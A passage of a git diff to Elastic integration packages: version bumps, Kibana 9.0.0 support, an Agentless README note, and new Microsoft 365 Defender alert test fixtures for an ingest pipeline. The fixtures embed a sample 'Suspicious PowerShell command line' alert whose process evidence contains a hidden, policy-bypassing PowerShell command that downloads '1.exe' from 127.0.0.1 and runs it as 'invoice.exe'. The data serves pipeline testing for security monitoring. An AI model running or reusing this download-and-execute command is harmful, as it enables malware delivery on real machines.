-9,7 +9,7 @@ categories: - credential_management conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/lmd/changelog.yml b/packages/lmd/changelog.yml index cbf582cc4c1..55fe51176b6 100644 --- a/packages/lmd/changelog.yml +++ b/packages/lmd/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.3.0" + changes: + - description: Add support for Kibana `9.0.0` + type: enhancement + link: https://github.com/elastic/integrations/pull/12940 - version: "2.2.0" changes: - description: Fix bug in the pivot transform diff --git a/packages/lmd/elasticsearch/transform/pivot_transform/transform.yml b/packages/lmd/elasticsearch/transform/pivot_transform/transform.yml index fae8035abf6..b841e063dd5 100644 --- a/packages/lmd/elasticsearch/transform/pivot_transform/transform.yml +++ b/packages/lmd/elasticsearch/transform/pivot_transform/transform.yml @@ -73,5 +73,5 @@ sync: delay: 60s field: '@timestamp' _meta: - fleet_transform_version: 2.2.0 + fleet_transform_version: 2.3.0 run_as_kibana_system: false \ No newline at end of file diff --git a/packages/lmd/manifest.yml b/packages/lmd/manifest.yml index 9e253d9ad64..bf6b12b9eeb 100644 --- a/packages/lmd/manifest.yml +++ b/packages/lmd/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.0 name: lmd title: "Lateral Movement Detection" -version: 2.2.0 +version: 2.3.0 source: license: "Elastic-2.0" description: "ML package to detect lateral movement based on file transfer activity and Windows RDP events." @@ -11,7 +11,7 @@ categories: - advanced_analytics_ueba conditions: kibana: - version: "^8.9.0" + version: "^8.9.0 || ^9.0.0" elastic: subscription: platinum capabilities: diff --git a/packages/lumos/changelog.yml b/packages/lumos/changelog.yml index 2a373bae791..3f2c31610c5 100644 --- a/packages/lumos/changelog.yml +++ b/packages/lumos/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.4.1" changes: - description: Fix broken links in Security Service integrations packages. diff --git a/packages/lumos/manifest.yml b/packages/lumos/manifest.yml index 8a769e2d864..aaafd215ebe 100644 --- a/packages/lumos/manifest.yml +++ b/packages/lumos/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.1.2 name: lumos title: "Lumos" -version: "1.4.1" +version: "1.5.0" description: "An integration with Lumos to ship your Activity logs to your Elastic instance." type: integration categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/lyve_cloud/changelog.yml b/packages/lyve_cloud/changelog.yml index e57b70f89ed..c8b2f212b5f 100644 --- a/packages/lyve_cloud/changelog.yml +++ b/packages/lyve_cloud/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.17.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.16.0" changes: - description: Do not remove `event.original` in main ingest pipeline. diff --git a/packages/lyve_cloud/manifest.yml b/packages/lyve_cloud/manifest.yml index ef271474eba..485c33fb3fa 100644 --- a/packages/lyve_cloud/manifest.yml +++ b/packages/lyve_cloud/manifest.yml @@ -1,14 +1,14 @@ format_version: "3.0.2" name: lyve_cloud title: Lyve Cloud -version: "1.16.0" +version: "1.17.0" description: Collect S3 API audit log from Lyve Cloud with Elastic Agent. type: integration categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/LyveCloud-Logo.svg title: Seagate-Lyve-Cloud diff --git a/packages/m365_defender/_dev/build/docs/README.md b/packages/m365_defender/_dev/build/docs/README.md index 02da6f76542..925d5a6beb2 100644 --- a/packages/m365_defender/_dev/build/docs/README.md +++ b/packages/m365_defender/_dev/build/docs/README.md @@ -8,6 +8,11 @@ Use the Microsoft 365 Defender integration to collect and parse data from the Mi For example, you could use the data from this integration to consolidate and correlate security alerts from multiple sources. Also, by looking into the alert and incident, a user can take an appropriate action in the Microsoft 365 Defender Portal. +## Agentless Enabled Integration +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + ## Data streams The Microsoft 365 Defender integration collects logs for four types of events: Alert, Event, Incident and Log. diff --git a/packages/m365_defender/changelog.yml b/packages/m365_defender/changelog.yml index f354a48dafd..80e0612be7e 100644 --- a/packages/m365_defender/changelog.yml +++ b/packages/m365_defender/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "2.24.0" + changes: + - description: Enable Agentless deployment. + type: enhancement + link: https://github.com/elastic/integrations/pull/12891 +- version: "2.23.0" + changes: + - description: Add email ECS fields to alert data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/12888 - version: "2.22.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log b/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log index ef677ce0362..cc1c1c82540 100644 --- a/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log +++ b/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log @@ -1,2 +1,3 @@ {"id":"daefa1828b-dd4e-405c-8a3b-aa28596830dd_1","providerAlertId":"efa1828b-dd4e-405c-8a3b-aa28596830dd_1","incidentId":"23","status":"new","severity":"medium","classification":null,"determination":null,"serviceSource":"microsoftDefenderForEndpoint","detectionSource":"microsoftDefenderForEndpoint","productName":"Microsoft Defender for Endpoint","detectorId":"7f1c3609-a3ff-40e2-995b-c01770161d68","tenantId":"3adb963c-8e61-48e8-a06d-6dbb0dacea39","title":"Suspicious PowerShell command line","description":"A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.","recommendedActions":"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.","category":"Execution","assignedTo":null,"alertWebUrl":"https:\/\/security.microsoft.com\/alerts\/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","incidentWebUrl":"https:\/\/security.microsoft.com\/incidents\/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","actorDisplayName":null,"threatDisplayName":null,"threatFamilyName":null,"mitreTechniques":["T1059.001"],"createdDateTime":"2023-10-20T09:53:09.8839373Z","lastUpdateDateTime":"2023-10-20T09:54:07.5033333Z","resolvedDateTime":null,"firstActivityDateTime":"2023-10-20T09:51:39.5154802Z","lastActivityDateTime":"2023-10-20T09:51:41.9939003Z","alertPolicyId":null,"additionalData":null,"comments":[],"evidence":[{"@odata.type":"#microsoft.graph.security.deviceEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":["PrimaryDevice"],"tags":[],"firstSeenDateTime":"2023-10-20T09:50:17.7383987Z","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","azureAdDeviceId":"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14","deviceDnsName":"clw555test","osPlatform":"Windows11","osBuild":22621,"version":"22H2","healthStatus":"inactive","riskScore":"high","rbacGroupId":0,"rbacGroupName":null,"onboardingStatus":"onboarded","defenderAvStatus":"notSupported","ipInterfaces":["192.168.5.65","fe80::cfe4:80b:615c:38fb","127.0.0.1","::1"],"vmMetadata":null,"loggedOnUsers":[{"accountName":"CDPUserIS-38411","domainName":"AzureAD"}]},{"@odata.type":"#microsoft.graph.security.userEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}},{"@odata.type":"#microsoft.graph.security.urlEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"url":"http:\/\/127.0.0.1\/1.exe"},{"@odata.type":"#microsoft.graph.security.ipEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"ipAddress":"127.0.0.1","countryLetterCode":null},{"@odata.type":"#microsoft.graph.security.processEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"processId":8224,"parentProcessId":5772,"processCommandLine":"powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http:\/\/127.0.0.1\/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'","processCreationDateTime":"2023-10-20T09:51:39.4997961Z","parentProcessCreationDateTime":"2023-10-20T09:51:19.5064237Z","detectionStatus":"detected","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","imageFile":{"sha1":"a72c41316307889e43fe8605a0dca4a72e72a011","sha256":"d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80","fileName":"powershell.exe","filePath":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","fileSize":491520,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"parentProcessImageFile":{"sha1":null,"sha256":null,"fileName":"cmd.exe","filePath":"C:\\Windows\\System32","fileSize":323584,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}}]} +{"id":"daefa1828b-dd4e-405c-8a3b-aa28596830dd_2","providerAlertId":"efa1828b-dd4e-405c-8a3b-aa28596830dd_2","incidentId":"33","status":"new","severity":"medium","classification":null,"determination":null,"serviceSource":"microsoftDefenderForEndpoint","detectionSource":"microsoftDefenderForEndpoint","productName":"Microsoft Defender for Endpoint","detectorId":"7f1c3609-a3ff-40e2-995b-c01770161d68","tenantId":"3adb963c-8e61-48e8-a06d-6dbb0dacea39","title":"Suspicious PowerShell command line","description":"A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.","recommendedActions":"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.","category":"Execution","assignedTo":null,"alertWebUrl":"https:\/\/security.microsoft.com\/alerts\/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","incidentWebUrl":"https:\/\/security.microsoft.com\/incidents\/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","actorDisplayName":null,"threatDisplayName":null,"threatFamilyName":null,"mitreTechniques":["T1059.001"],"createdDateTime":"2024-10-20T09:53:09.8839373Z","lastUpdateDateTime":"2024-10-20T09:54:07.5033333Z","resolvedDateTime":null,"firstActivityDateTime":"2024-10-20T09:51:39.5154802Z","lastActivityDateTime":"2024-10-20T09:51:41.9939003Z","alertPolicyId":null,"additionalData":null,"comments":[],"evidence":[{"internetMessageId":"81ce15$8r2j59@mail01.example.com","networkMessageId":"c26dbea0-80d5-463b-b93c-4e8b708219ce","senderIp": "81.2.69.142","@odata.type":"#microsoft.graph.security.deviceEvidence","createdDateTime":"2024-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":["PrimaryDevice"],"tags":[],"firstSeenDateTime":"2024-10-20T09:50:17.7383987Z","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","azureAdDeviceId":"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14","deviceDnsName":"clw555test","osPlatform":"Windows11","osBuild":22621,"version":"22H2","healthStatus":"inactive","riskScore":"high","rbacGroupId":0,"rbacGroupName":null,"onboardingStatus":"onboarded","defenderAvStatus":"notSupported","ipInterfaces":["192.168.5.65","fe80::cfe4:80b:615c:38fb","127.0.0.1","::1"],"vmMetadata":null,"loggedOnUsers":[{"accountName":"CDPUserIS-38411","domainName":"AzureAD"}]},{"@odata.type":"#microsoft.graph.security.userEvidence","createdDateTime":"2024-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}},{"@odata.type":"#microsoft.graph.security.urlEvidence","createdDateTime":"2024-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"url":"http:\/\/127.0.0.1\/1.exe"},{"@odata.type":"#microsoft.graph.security.ipEvidence","createdDateTime":"2024-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"ipAddress":"127.0.0.1","countryLetterCode":null},{"@odata.type":"#microsoft.graph.security.processEvidence","createdDateTime":"2024-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"processId":8224,"parentProcessId":5772,"processCommandLine":"powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http:\/\/127.0.0.1\/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'","processCreationDateTime":"2024-10-20T09:51:39.4997961Z","parentProcessCreationDateTime":"2024-10-20T09:51:19.5064237Z","detectionStatus":"detected","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","imageFile":{"sha1":"a72c41316307889e43fe8605a0dca4a72e72a011","sha256":"d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80","fileName":"powershell.exe","filePath":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","fileSize":491520,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"parentProcessImageFile":{"sha1":null,"sha256":null,"fileName":"cmd.exe","filePath":"C:\\Windows\\System32","fileSize":323584,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}}]} {"@odata.context":"https://graph.microsoft.com/v1.0/$metadata#security/alerts_v2","value":[]} \ No newline at end of file diff --git a/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json index 02ca1ced784..ecc8b4a03a3 100644 --- a/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json +++ b/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json @@ -266,6 +266,287 @@ ] } }, + { + "@timestamp": "2024-10-20T09:54:07.503Z", + "cloud": { + "account": { + "id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39" + } + }, + "ecs": { + "version": "8.11.0" + }, + "email": { + "local_id": [ + "c26dbea0-80d5-463b-b93c-4e8b708219ce" + ], + "message_id": [ + "81ce15$8r2j59@mail01.example.com" + ] + }, + "event": { + "action": [ + "detected" + ], + "category": [ + "host", + "iam", + "network", + "process" + ], + "created": "2024-10-20T09:53:09.883Z", + "duration": 2478000000, + "end": "2024-10-20T09:51:41.993Z", + "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_2", + "kind": "alert", + "original": "{\"id\":\"daefa1828b-dd4e-405c-8a3b-aa28596830dd_2\",\"providerAlertId\":\"efa1828b-dd4e-405c-8a3b-aa28596830dd_2\",\"incidentId\":\"33\",\"status\":\"new\",\"severity\":\"medium\",\"classification\":null,\"determination\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"detectionSource\":\"microsoftDefenderForEndpoint\",\"productName\":\"Microsoft Defender for Endpoint\",\"detectorId\":\"7f1c3609-a3ff-40e2-995b-c01770161d68\",\"tenantId\":\"3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"title\":\"Suspicious PowerShell command line\",\"description\":\"A suspicious PowerShell activity was observed on the machine. \\nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.\",\"recommendedActions\":\"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.\",\"category\":\"Execution\",\"assignedTo\":null,\"alertWebUrl\":\"https:\\/\\/security.microsoft.com\\/alerts\\/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"incidentWebUrl\":\"https:\\/\\/security.microsoft.com\\/incidents\\/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"actorDisplayName\":null,\"threatDisplayName\":null,\"threatFamilyName\":null,\"mitreTechniques\":[\"T1059.001\"],\"createdDateTime\":\"2024-10-20T09:53:09.8839373Z\",\"lastUpdateDateTime\":\"2024-10-20T09:54:07.5033333Z\",\"resolvedDateTime\":null,\"firstActivityDateTime\":\"2024-10-20T09:51:39.5154802Z\",\"lastActivityDateTime\":\"2024-10-20T09:51:41.9939003Z\",\"alertPolicyId\":null,\"additionalData\":null,\"comments\":[],\"evidence\":[{\"internetMessageId\":\"81ce15$8r2j59@mail01.example.com\",\"networkMessageId\":\"c26dbea0-80d5-463b-b93c-4e8b708219ce\",\"senderIp\": \"81.2.69.142\",\"@odata.type\":\"#microsoft.graph.security.deviceEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"unknown\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[\"PrimaryDevice\"],\"tags\":[],\"firstSeenDateTime\":\"2024-10-20T09:50:17.7383987Z\",\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"azureAdDeviceId\":\"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14\",\"deviceDnsName\":\"clw555test\",\"osPlatform\":\"Windows11\",\"osBuild\":22621,\"version\":\"22H2\",\"healthStatus\":\"inactive\",\"riskScore\":\"high\",\"rbacGroupId\":0,\"rbacGroupName\":null,\"onboardingStatus\":\"onboarded\",\"defenderAvStatus\":\"notSupported\",\"ipInterfaces\":[\"192.168.5.65\",\"fe80::cfe4:80b:615c:38fb\",\"127.0.0.1\",\"::1\"],\"vmMetadata\":null,\"loggedOnUsers\":[{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\"}]},{\"@odata.type\":\"#microsoft.graph.security.userEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"unknown\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[],\"tags\":[],\"userAccount\":{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\",\"userSid\":\"S-1-12-1-1485667349-1150190949-4065799612-2328216759\",\"azureAdUserId\":null,\"userPrincipalName\":null,\"displayName\":null}},{\"@odata.type\":\"#microsoft.graph.security.urlEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"suspicious\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[],\"tags\":[],\"url\":\"http:\\/\\/127.0.0.1\\/1.exe\"},{\"@odata.type\":\"#microsoft.graph.security.ipEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"suspicious\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[],\"tags\":[],\"ipAddress\":\"127.0.0.1\",\"countryLetterCode\":null},{\"@odata.type\":\"#microsoft.graph.security.processEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"unknown\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[],\"tags\":[],\"processId\":8224,\"parentProcessId\":5772,\"processCommandLine\":\"powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http:\\/\\/127.0.0.1\\/1.exe', 'C:\\\\\\\\test-WDATP-test\\\\\\\\invoice.exe');Start-Process 'C:\\\\\\\\test-WDATP-test\\\\\\\\invoice.exe'\",\"processCreationDateTime\":\"2024-10-20T09:51:39.4997961Z\",\"parentProcessCreationDateTime\":\"2024-10-20T09:51:19.5064237Z\",\"detectionStatus\":\"detected\",\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"imageFile\":{\"sha1\":\"a72c41316307889e43fe8605a0dca4a72e72a011\",\"sha256\":\"d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80\",\"fileName\":\"powershell.exe\",\"filePath\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\",\"fileSize\":491520,\"filePublisher\":\"Microsoft Corporation\",\"signer\":null,\"issuer\":null},\"parentProcessImageFile\":{\"sha1\":null,\"sha256\":null,\"fileName\":\"cmd.exe\",\"filePath\":\"C:\\\\Windows\\\\System32\",\"fileSize\":323584,\"filePublisher\":\"Microsoft Corporation\",\"signer\":null,\"issuer\":null},\"userAccount\":{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\",\"userSid\":\"S-1-12-1-1485667349-1150190949-4065799612-2328216759\",\"azureAdUserId\":null,\"userPrincipalName\":null,\"displayName\":null}}]}", + "provider": "microsoftDefenderForEndpoint", + "severity": 3, + "start": "2024-10-20T09:51:39.515Z", + "type": [ + "info" + ], + "url": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39" + }, + "host": { + "id": [ + "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843" + ], + "ip": [ + "127.0.0.1" + ], + "os": { + "name": [ + "Windows11" + ], + "version": [ + "22H2" + ] + } + }, + "m365_defender": { + "alert": { + "category": "Execution", + "created_datetime": "2024-10-20T09:53:09.883Z", + "description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", + "detection_source": "microsoftDefenderForEndpoint", + "detector_id": "7f1c3609-a3ff-40e2-995b-c01770161d68", + "evidence": [ + { + "azure_ad_device_id": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14", + "created_datetime": "2024-10-20T09:53:10.193Z", + "defender_av_status": "notSupported", + "detailed_roles": [ + "PrimaryDevice" + ], + "device_dns_name": "clw555test", + "first_seen_datetime": "2024-10-20T09:50:17.738Z", + "health_status": "inactive", + "ip_interfaces": [ + "192.168.5.65", + "fe80::cfe4:80b:615c:38fb", + "127.0.0.1", + "::1" + ], + "logged_on_users": [ + { + "account_name": "CDPUserIS-38411", + "domain_name": "AzureAD" + } + ], + "mde_device_id": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", + "odata_type": "#microsoft.graph.security.deviceEvidence", + "onboarding_status": "onboarded", + "os_build": "22621", + "os_platform": "Windows11", + "rbac_group": { + "id": "0" + }, + "remediation_status": "none", + "risk_score": "high", + "sender_ip": "81.2.69.142", + "verdict": "unknown", + "version": "22H2" + }, + { + "created_datetime": "2024-10-20T09:53:10.193Z", + "odata_type": "#microsoft.graph.security.userEvidence", + "remediation_status": "none", + "user_account": { + "account_name": "CDPUserIS-38411", + "domain_name": "AzureAD", + "user_sid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759" + }, + "verdict": "unknown" + }, + { + "created_datetime": "2024-10-20T09:53:10.193Z", + "odata_type": "#microsoft.graph.security.urlEvidence", + "remediation_status": "none", + "url": "http://127.0.0.1/1.exe", + "verdict": "suspicious" + }, + { + "created_datetime": "2024-10-20T09:53:10.193Z", + "ip_address": "127.0.0.1", + "odata_type": "#microsoft.graph.security.ipEvidence", + "remediation_status": "none", + "verdict": "suspicious" + }, + { + "created_datetime": "2024-10-20T09:53:10.193Z", + "detection_status": "detected", + "image_file": { + "name": "powershell.exe", + "path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0", + "publisher": "Microsoft Corporation", + "sha1": "a72c41316307889e43fe8605a0dca4a72e72a011", + "sha256": "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80", + "size": 491520 + }, + "mde_device_id": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", + "odata_type": "#microsoft.graph.security.processEvidence", + "parent_process": { + "creation_datetime": "2024-10-20T09:51:19.506Z", + "id": 5772, + "image_file": { + "name": "cmd.exe", + "path": "C:\\Windows\\System32", + "publisher": "Microsoft Corporation", + "size": 323584 + } + }, + "process": { + "command_line": "powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'", + "creation_datetime": "2024-10-20T09:51:39.499Z", + "id": 8224 + }, + "remediation_status": "none", + "user_account": { + "account_name": "CDPUserIS-38411", + "domain_name": "AzureAD", + "user_sid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759" + }, + "verdict": "unknown" + } + ], + "first_activity_datetime": "2024-10-20T09:51:39.515Z", + "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_2", + "incident_id": "33", + "incident_web_url": { + "domain": "security.microsoft.com", + "original": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "path": "/incidents/23", + "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "scheme": "https" + }, + "last_activity_datetime": "2024-10-20T09:51:41.993Z", + "last_update_datetime": "2024-10-20T09:54:07.503Z", + "mitre_techniques": [ + "T1059.001" + ], + "provider_alert_id": "efa1828b-dd4e-405c-8a3b-aa28596830dd_2", + "recommended_actions": "1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.", + "service_source": "microsoftDefenderForEndpoint", + "severity": "medium", + "status": "new", + "tenant_id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "title": "Suspicious PowerShell command line", + "web_url": { + "domain": "security.microsoft.com", + "original": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "path": "/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1", + "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "scheme": "https" + } + } + }, + "message": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", + "process": { + "command_line": [ + "powershell.exe 